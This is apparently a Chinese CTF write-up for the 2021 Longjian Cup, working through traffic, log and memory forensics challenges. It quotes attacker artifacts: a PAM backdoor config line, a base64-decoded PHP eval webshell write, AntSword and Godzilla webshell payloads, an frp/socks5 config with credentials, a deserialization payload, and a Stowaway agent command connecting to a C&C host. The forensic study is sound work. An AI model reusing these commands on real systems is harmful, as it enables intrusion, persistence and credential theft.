第一届陇剑杯
前言
2021第一届陇剑杯部分wp,有些题目难度太大做不出来。
ctf 题目分为11个大题,具体是签到(1题)、jwt(6题)、webshell(7题)、日志分析(3题)、流量分析(3题)、内存分析(2题)、简单日志分析(3题)、SQL注入(3题)、wifi(1题)、ios(8题)、机密内存(5题),大题主中包含多个小题,小题围绕大题的题目开始作答,全队只能答3次,主要考察抓包分析、web安全、无线安全、内存取证分析、加密解密。重点是流量分析,难点是无线安全、内存取证分析、加密解密,送分题是日志分析。
1.签到题
【题目描述】
网管小王在上网途中发现自己的网络访问异常缓慢,于是对网络出口捕获了流量,请您分析流量后进行回答:
1.1
—此时正在进行的可能是协议的网络攻击。(如有字母请全部使用小写,填写样例:http、dns、ftp)—
按照长度排列我们往下拉可以看到,很多403
状态码,所以应该是http
洪水攻击
在wireshark中的”统计->I/O图”中可以看到全部都是http的403错误,然后发送rst断开连接403错误连接。因此导致网络缓慢的原因是dos攻击中的http洪水攻击
所以flag为http
2.jwt
【题目描述】
昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
2.1
—该网站使用了____认证方式。(如有字母请全部使用小写)—
查看流量,追踪http
流,注意看cookie
是不是很熟悉
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODcsIk1hcENsYWltcyI6eyJ1c2VybmFtZSI6ImFkbWluIn19.rurQD5RYgMrFZow8r-k7KCP13P32sF-RpTXhKsxzvD0 |
这是jwt
的格式
所以flag为jwt
2.2
—黑客绕过验证使用的jwt中,id和username是______。(中间使用#号隔开,例如1#admin)—
既然已经绕过了验证,那么应该是登录成功了。考察过滤能力
1 | http contains "success" |
在下面的流量
到在线网站解密一下https://jwt.io/
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODcsIk1hcENsYWltcyI6eyJ1c2VybmFtZSI6ImFkbWluIn19.rurQD5RYgMrFZow8r-k7KCP13P32sF-RpTXhKsxzvD0 |
所以flag为10087#admin
2.3
— 黑客获取webshell之后,权限是____?—
平时我们怎么判断权限呢?没错就是whoami
,我们过滤一下
1 | http contains "whoami" |
选择追踪时间靠后的
所以flag为root
2.4
—黑客上传的恶意文件文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)—
上传了文件,POST且长度应该比较长
1 | http and http.request.method==POST |
过滤后按长度排列,我们追踪这个最长的
可以看到,这里有一个操作 base64
解密后写入/tmp/1.c
中
文件内容是C语言写的恶意代码
所以flag为1.c
2.5
—黑客在服务器上编译的恶意so文件,文件名是____。(请提交带有文件后缀的文件名,例如x.so)—
题目已经给出提示是.so
文件,尝试过滤一下
1 | http and http.request.method==POST and http contains ".so" |
这是已经编译完了,应该是可以找到编译过程的流的
编译过程的流找到了
所以flag为looter.so
2.6
— 黑客在服务器上修改了一个配置文件,文件的绝对路径为____。(请确认绝对路径后再提交)–
题目提示修改了配置文件,我们接着往下看
这里有对文件的修改
1 | command=echo "auth optional looter.so">>/etc/pam.d/common-auth |
这行命令是在向/etc/pam.d/common-auth文件添加一行内容:
auth optionallooter.so
具体分析:
/etc/pam.d/common-auth文件是PAM(Pluggable Authentication Modules)的一个共享配置文件
PAM模块用于Linux系统的登录认证、账号和访问控制管理
command=echo 是使用echo命令将内容追加写入文件
“auth optionallooter.so” 是要写入的内容,代表加载名为optionallooter.so的PAM模块
是将内容使用追加模式写入文件而非覆写模式
所以这个命令的效果是:
向系统PAM配置中添加一个新的可选(optional)认证模块optionallooter.so,这个模块会参与到后续的系统登录认证过程中。
一般情况下,添加新的PAM模块可能是为了扩展系统功能,例如记录登录日志、强制密码复杂度限制等。
但这里模块名带有looter单词,看起来可能是用于不正当目的,需要进一步了解该模块的具体功能来判断是否安全。
所以可以判断为这就是被修改的配置文件
所以flag为etc/pam.d/common-auth
3.webshell
【题目描述】
单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
3.1
— 黑客登录系统使用的密码是____—
根据题目提示过滤
1 | http contains "login" and http.request.method==POST |
追踪一下这个流
发现是在进行登录操作,不过需要unicode
解码一下
所以flag为Admin123!
3.2
—黑客修改了一个日志文件,文件的绝对路径为____。(请确认绝对路径后再提交)—
修改了日志文件,我们根据信息过滤
1 | http contains ".log" and http.request.method==POST |
按长度,先看最大的这个
绝对路径需要两个部分组成,一个是web目录,一个是日志位置
所以flag为/var/www/html/data/Runtime/Logs/Home/21_08_07.log
3.3
—黑客获取webshell之后,权限是___?—
老样子,过滤whoami
1 | http contains "whoami" |
可以看到返回www-data
,很正常
所以flag为www-data
3.4
—黑客写入的webshell文件名是____。(请提交带有文件后缀的文件名,例如x.txt)—
文件写入有哪些常见的关键字呢?echo
1 | http contains "echo" |
按时间顺序排列,优先查看时间最早的
追踪到第二个包时发现端倪
1 | &aaa=system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php') |
所以flag为1.php
3.5
—黑客上传的代理工具客户端名字是____。(如有字母请全部使用小写)—
题目提示代理工具。我们导出所有http
对象,逐个查看直到看到1(51).php
这个是代理工具frp
的客户端配置文件
所以flag为frpc
3.6
—黑客代理工具的回连服务端IP是___?—
服务端地址应该就在某个配置文件里
在1(6).php
的蚁剑流量解密后发现端倪
1 | aaa=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2228%22.%22f72%22%3Becho%20%40asenc(%24output)%3Becho%20%22f486%22.%2211f4%22%3B%7Dob_start()%3Btry%7B%24f%3Dbase64_decode(substr(%24_POST%5B%22j68071301598f%22%5D%2C2))%3B%24c%3D%24_POST%5B%22xa5d606e67883a%22%5D%3B%24c%3Dstr_replace(%22%5Cr%22%2C%22%22%2C%24c)%3B%24c%3Dstr_replace(%22%5Cn%22%2C%22%22%2C%24c)%3B%24buf%3D%22%22%3Bfor(%24i%3D0%3B%24i%3Cstrlen(%24c)%3B%24i%2B%3D2)%24buf.%3Durldecode(%22%25%22.substr(%24c%2C%24i%2C2))%3Becho(%40fwrite(fopen(%24f%2C%22a%22)%2C%24buf)%3F%221%22%3A%220%22)%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&j68071301598f=FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ%3D%3D&xa5d606e67883a=5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A |
直接HEX
解码即可
这里就是配置文件
所以flag为192.168.239.123
3.7
—黑客的socks5的连接账号、密码是____。(中间使用#号隔开,例如admin#passwd)—
题目给出了关键字socks5
,刚刚的蚁剑流量解密后就有关键字
所以flag为0HDFt16cLQJ#JTN276Gp
黑客使用密码登录了骑士cms系统到后台,利用模板注入和文件包含获取到了webshell,利用蚁剑连接webshell上传了两个代理文件
4.日志分析
【题目描述】
单位某应用程序被攻击,请分析日志,进行作答:
4.1
—网络存在源码泄漏,源码文件名是____。(请提交带有文件后缀的文件名,例如x.txt)—
在日志中尝试搜索.zip .rar
等等,发现端倪
和我们预想的一样
所以flagwww.zip
4.2
—分析攻击流量,黑客往/tmp
目录写入一个文件,文件名为___?—
题目提示攻击流量并写入到了/tmp
目录(通常我们也是上传到这个目录下的,因为它具有可执行权限),所以我们搜索一下
所以flag为sess_car
4.3
—分析攻击流量,黑客使用的是____类读取了秘密文件。—
在刚刚上传的文件中可以看到是反序列化的攻击
1 | ?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0" |
所以flag为SplFileObject
5.流量分析
【题目描述】
某天晚上,X单位的网站被黑客入侵了,管理员从单位网络出口捕获采样流量,请您分析流量进行回答
这道此看似是流量分析,其实是逆向,而且是逆向开源cpu架构risc-v并非常见的x86架构,解题思路是通过逆向工具分析出流量协议结构和加密逻辑,解密加密流量,分析流量执行的命令
5.1
—攻击者的IP是___?—
打开流量包全是UDP
和内网ip
5.2
—攻击者所使用的会话密钥是___?—
5.3
—攻击者所控制的C&C服务器IP是___?—
6.内存分析
【题目描述】
网管小王制作了一个虚拟机文件,让您来分析后作答:
6.1
—虚拟机的密码是____。(密码中为flag{xxxx},含有空格,提交时不要去掉)。—
使用Volatility
查看一下文件
1 | vol.py -f Target.vmem imageinfo |
既然要密码,我们尝试hashdump
或mimikatz
一下,区别是mimikatz
抓明文
所以flag为flag{W31C0M3 T0 THiS 34SY F0R3NSiCX}
6.2
—虚拟机中有一个某品牌手机的备份文件,文件里的图片里的字符串为____。(解题过程中需要用到上一题答案中flag{}内的内容进行处理。本题的格式也是flag{xxx},含有空格,提交时不要去掉)—
题目提示了某品牌的手机备份文件,还需要上一题的flag才能解题
我们先看一下有什么文件
1 | vol.py -f Target.vmem --profile=Win7SP1x64 filescan |
尝试过滤备份文件(.bak)无结果
1 | vol.py -f Target.vmem --profile=Win7SP1x64 filescan | grep -E "bak|zip|rar|7z" |
尝试过滤常见的手机品牌,发现端倪
1 | vol.py -f Target.vmem --profile=Win7SP1x64 filescan | grep -E -i "HUAWEI|Xiaomi|vivo|OPPO|iPhone" |
这么多文件,哪一个是备份文件呢??不管先全部导出来
P40_2021-aa-bb xx.yy.zz.exe
这个文件是一个自解压文件,导出来后自己会生成另一个文件.img
,第一次见
最像目标的应该就是MediaTar\images\images0.tar.enc
了(tar是Unix和类Unix系统上文件打包工具,可以将多个文件合并为一个文件,打包后的文件名亦为“tar”。.enc文件名扩展名的作用是表明一个文件以某种方式进行了ENC编码或ENC加密(ENC))。
搜索引擎一下第一条就是华为备份文件,巧合?而且也就它提到加密了,尝试解密看看。这个是华为的备份文件解密工具https://github.com/RealityNet/kobackupdec
用法:
kobackupdec.py [-h] [-v] password backup_path dest_path
password:是用户提供的密码
backup_path:是包含华为备份的文件夹,可以使用相对或绝对路径
dest_path:是要在指定路径(绝对或相对)中创建的文件夹。如果提供的文件夹已存在,它将报错
例如:python3 kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCX “/root/桌面/datasafety/neicunfenxi/文件/MediaTar\images\images0.tar.enc” /home/mtrleed/桌面/1根据题目提供的另一个文件
no space but underline
可知,将空格换为下划线做密码
但是直接操作这个文件报错了
需要对文件夹操作,索性将剩下的几个文件夹也试一遍,但都提示ERROR:root:No backup1 folder nor ERROR:root:No backup1 folder nor info.xml file found! file found!
接着把info.xml
文件放进各个文件夹,还是不行。后面幡然醒悟,这些文件根据路径判断似乎都是从一个文件出来的,随后解压exe1
文件夹下的file.None.0xfffffa80037e0af0.dat
文件
接着再次尝试解密,看着样子貌似是成功了,还给了一个路径
前往上面我们设置的文件夹的该路径下查看,是一个tar
包
在Linux下可以直接点击里面的东西查看,点点点,看到flag
所以flag为flag{TH4NK YOU FOR DECRYPTING MY DATA}
7.简单日志分析
【题目描述】
某应用程序被攻击,请分析日志后作答:
7.1
—黑客攻击的参数是____。(如有字母请全部使用小写)—
只有几条日志是存在参数传递数据的,显而易见
所以flag为user
7.2
—黑客查看的秘密文件的绝对路径是____?—
查看解码user
参数传的数据即可
1 | 'cat /Th4s_IS_VERY_Import_Fi1e' |
所以flag为/Th4s_IS_VERY_Import_Fi1e
7.3
—黑客反弹shell的ip和端口是____。(格式使用“ip:端口”,例如127.0.0.1:2333)—
解码最后一个日志
所以flag为192.168.2.197:8888
8.SQL注入
【题目描述】
某应用程序被攻击,请分析日志后作答:
8.1
—黑客在注入过程中采用的注入手法叫____。(格式为4个汉字,例如“拼搏努力”)—
关键字if、substr
是不是很熟悉,显然这是盲注,但是不带时间函数所以是布尔盲注
所以flag为布尔盲注
8.2
—黑客在注入过程中,最终获取flag的数据库名、表名和字段名是____。(格式为“数据库名#表名#字段名”,例如database#table#column)—
注意观察日志断层处,就是SQL语句变化的时候
1 | select flag from sqli.flag |
所以flag为flag#sqli#flag
8.3
—黑客最后获取到的flag字符串为___?—
布尔盲注是一个一个字符匹配,所以flag应该是散布在多条日志中的。同时我们可以观察到匹配到f
时长度为480
,后面发现长度为479
的也是,且与下一条日志不连续,所以可以判断f
是匹配成功的
写个脚本
1 |
|
1 | flag+flag+flag%7Bdeddcd67-bcfd-487e-b940-1217e668c7db%7D |
所以flag为flag{deddcd67-bcfd-487e-b940-1217e668c7db}
9.wifi
【题目描述】
网管小王最近喜欢上了ctf网络安全竞赛,他使用“哥斯拉”木马来玩玩upload-labs,并且保存了内存镜像、wifi流量和服务器流量,让您来分析后作答:
9.1
—小王往upload-labs上传木马后进行了cat /flag,flag内容为____。(压缩包里有解压密码的提示,需要额外添加花括号)—
难度很大
题目提示存在压缩包还有密码
我们先看服务器.pcapng
,看到upload
操作
追踪流看看,可以看到符合哥斯拉流量。哥斯拉php_eval_xor_base64
流量是3.0才更新的php连接方式,其目的是为了支持普通的一句话eval($_POST[1])
。不过其本质就是利用pass参数传了一个php_xor_base64
哥斯拉马罢了,所以流量特征和php_xor_base64
类似。
文章学习如何解密哥斯拉流量https://www.freebuf.com/sectool/285693.html
但是这个流量包里面只有请求的流量,而题目要cat /flag
的内容,我们要前往查找返回包,在此已得到pass
和key
我们接着分析客户端.cap
,可以发现是wifi的流量,可以看到wifi名一个My_Wifi
其余的不再有什么的能用的了,现在只剩下最后一个.vmem
文件,先查看一下文件
1 | vol.py -f Windows7-dde00fa9.vmem imageinfo |
因为题目提示存在压缩文件,我们直接搜索,发现眼熟的文件
1 | vol.py -f Windows7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep -E "rar|zip|7z" |
将这个文件导出来
1 | vol.py -f Windows7-dde00fa9.vmem --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fdc38c8 -D . |
将文件改名为My_Wifi.zip
尝试解压发现需要密码,压缩包注释中给了密码提示password is Network Adapter GUID
那么我们回到.vmem
文件查找Network Adapter GUID
,密码在网卡的GUID里,win7网卡信息存放于C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces
所以我们尝试搜索关键字
1 | vol.py -f Windows7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep -E "Interfaces" |
查看疑似flag的字符串{529B7D2A-05D1-4F21-A001-8F4FF817FC3A}
,尝试解密成功
发现一个key233@114514_qwe
,还是没有flag,盲猜这个key可以应该是用来解密流量包的,既然是WiFi的那就尝试解一下WiFi流量”编辑->首选项->protocols->IEEE802.11”
此时流量应该已经解密好了,导出http对象
打开一个html文件查看,里面还是像是加密过的
回到另一个流量包,发现的那一堆加密流量,尝试解密
1 | pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=DlMRWA1cL1gOVDc%2FMjRhVAZCJ1ERUQJKKl9TXQ%3D%3D |
“urldecode->rev(逆序)->base64_decode”,解密后发现是一个加密算法
1 | @session_start();//创建会话 |
接下来根据加密算法写一个解密算法
1 |
|
这个流量包明显是ls
的结果
在最后一个html文件中解出flag
所以flag为flag{5db5b7b0bb74babb66e1522f3a6b1b12}
10.ios
【题目描述】
一位ios的安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答:
10.1
—黑客端口扫描的扫描器的扫描范围是____。(格式使用“开始端口-结束端口”,例如1-65535)—
C&C服务器是由黑客控制的主机,虽然在第一个问,但是一时半会我还找不出来。在解第二个问的时候找到了
这是使用工具在与攻击服务器建立连接
所以flag为3.128.156.159
10.2
—黑客利用的Github开源项目的名字是____。(如有字母请全部使用小写)—
直接过滤
1 | http contains "github" |
追踪流量可以看到攻击者使用wget
下载了ios_agent
1 | testiphonex:~ root# ./ios_agent -c 3.128.156.159:8081 -s hack4sec |
所以flag为Stowaway
10.3
—通讯加密密钥的明文是____?—
应该和那个软件有关,我们看看文档说明
-s
接通信加密密钥
1 | testiphonex:~ root# ./ios_agent -c 3.128.156.159:8081 -s hack4sec |
所以flag为hack4sec
10.4
—黑客通过SQL盲注拿到了一个敏感数据,内容是___?—
关键词是SQL盲注
,我们尝试过滤,找了半天愣是没有找到有用的线索。然后回到我们拿到的文件里面有3个文件
keylog.txt
里面是一堆RSA密钥,应该是时候对这个文件动手了吧
我们在wireshark
导入这个密钥”编辑->首选项->protocols->TLS”
然后选择过滤http2
这个带有/info?
的流量就是盲注,复制粘贴到一个txt文件中,使用脚本过滤
往下没解出来。。。。。。。。
10.5
—黑客端口扫描的扫描器的扫描范围是____。(格式使用“开始端口-结束端口”,例如1-65535)—
既然是端口扫描,就会有RST报文和连续端口访问,我们找到准确的ip(源ip和目的ip),然后”分析->专家信息->Connection reset (RST)”,192.168.1.8
是跳板机
下拉查找,发现端口的访问覆盖10-499
所以flag为10-499
10.6
—被害者手机上被拿走了的私钥文件内容是___?—
没解出来。。。。。。。。。。。。。。
10.7
—黑客访问/攻击了内网的几个服务器,IP地址为____?。(多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)—
在access.log
里面有一个172.28.0.2
在前面端口扫描的时候也有一个192.168.1.12
所以flag为172.28.0.2#192.168.1.12
10.8
—黑客写入了一个webshell,其密码为____?—
还是在access.log
文件中发现
这个马子的密码就是传参的参数
所以flag为fxxk
11.机密内存
【题目描述】
一日网管中心的安全审计设备推送了一则高危入侵警报,经过了解发现有一台机密容器因违规操作遭遇入侵与破坏,容器宿主机内只留下了一段机密容器的内存与部分经过算改的神秘文件,请你帮助还原容器的入侵过程(压轴题,难度极大)